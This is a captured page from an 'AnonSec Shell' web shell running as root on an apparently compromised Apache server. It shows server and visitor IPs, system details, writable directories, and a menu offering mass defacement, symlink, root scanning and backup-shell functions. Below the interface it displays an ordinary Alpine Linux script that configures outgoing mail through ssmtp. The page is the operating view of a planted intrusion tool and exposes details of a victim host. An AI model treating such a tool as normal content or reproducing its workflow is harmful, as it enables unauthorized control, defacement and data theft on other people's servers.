AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.144.224.210   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/chroot/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/chroot/sbin/setup-mta
#!/bin/sh

PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

conf="$ROOT/etc/ssmtp/ssmtp.conf"

usage() {
	cat <<-EOF
		usage: setup-mta [-h] [SMTPSERVER]

		Setup SMTP server for outgoing email

		options:
		 -h  Show this help

        If SMTPSERVER is not prompted user will be prompted
	EOF
	exit $1
}

cfgval() {
	awk -F= "/^$1/ {print \$2}" $conf 2>/dev/null
}

setcfg() {
	local key="$1"
	local value="$2"
	mkdir -p "${conf%/*}"
	sed -i "s/^\\(\\#\\)*$key=.*/$key=$value/" "$conf" 2>/dev/null
	if ! grep -q "^$key=" "$conf" 2>/dev/null; then
		echo "$key=$value" >> "$conf"
	fi
}

while getopts "h" opt; do
	case $opt in
		h) usage 0;;
		'?') usage "1"  >&2;;
	esac
done
shift $(( $OPTIND - 1 ))

mailhub="$1"

if [ -f "$conf" ] ; then
	mailhub=$(cfgval mailhub)
fi
domain=$(hostname -d $hostname 2>/dev/null)
if [ -z "$mailhub" ] ;then
	if [ -n "$domain" ] ; then
		mailhub="smtp.$domain"
	else
		mailhub=smtp
	fi
fi

res=

while [ $# -eq 0 ] && [ "$res" != "221" ]; do
	ask "Outgoing mail server? (e.g 'smtp.isp.com')"  "$mailhub"
	mailhub="$resp"
	if ! ask_yesno "Test connection? (y/n)" y; then
		break
	fi
	res=$(printf "quit\r\n\n" | nc $mailhub 25 | awk '/^221/ {print $1}')
	[ "x$res" = "x221" ] && echo "Connection to $mailhub is ok."
done

apk add ssmtp

setcfg mailhub $mailhub
setcfg FromLineOverride YES

Anon7 - 2022
AnonSec Team